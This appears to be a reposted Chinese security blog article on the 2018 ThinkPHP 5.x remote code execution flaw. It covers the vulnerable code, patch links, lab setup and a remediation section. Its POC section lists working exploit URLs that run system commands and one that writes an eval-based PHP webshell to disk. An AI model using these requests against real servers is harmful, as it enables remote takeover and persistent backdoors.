前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ThinkPHP 5.x 远程命令执行漏洞利用(GetShell)

ThinkPHP 5.x 远程命令执行漏洞利用(GetShell)

作者头像
HACK学习
发布2019-08-06 10:59:58
3.9K0
发布2019-08-06 10:59:58
举报
文章被收录于专栏:HACK学习HACK学习HACK学习

一、漏洞概述

ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。

影响版本:(v5.0.23及v5.1.31以下版本)

二、漏洞简析

Thinkphp v5.0.x补丁地址:

https://github.com/topthink/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址:

https://github.com/topthink/framework/commit/802f284bec821a608e7543d91126abc5901b2815

关键代码:

1、//获取控制器名

2、$controller =strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入\符号来调用任意类方法。

POC:

ThinPHP5.1代码执行漏洞POC:
http://localhost/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

http://localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://localhost//public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22pass%22])?^%3E%3Eshell.php

本地环境搭建

TP5.0.*

直接从官网下载完整包解压到www(网站根目录)目录即可,URL指向public目录(如:http://localhost/TP5.0.22/public/ )

TP5.1.*

官方不再提供完整版下载,笔者从composer下载最新版后与官方GitHub进行了对比,发现以下几个仓库 Framework:

https://github.com/top-think/framework

think:

https://github.com/top-think/think

think-installer:

https://github.com/top-think/think-installer

发现framework仓库就是完整版中的thinkphp目录

think仓库是thinkphp的主架构 think-installer对应路径为path\to\thinkphp\vendor\topthink\think-installer 整合下就好了,最终目录架构

访问下

POC

TP版本5.0.21:

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP版本5.0.22:

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

修复方案

官方现已推出补丁 建议开发者进行修复

Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

有在用这个版本的,赶紧修复下,以及自查近几日访问请求日志以及写入的可疑文件

清理下大黑阔们留下的马子吧

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-12-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 本地环境搭建
    • TP5.0.*
      • TP5.1.*
      • POC
        • TP版本5.0.21:
          • TP版本5.0.22:
          • 修复方案
            • 官方现已推出补丁 建议开发者进行修复
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档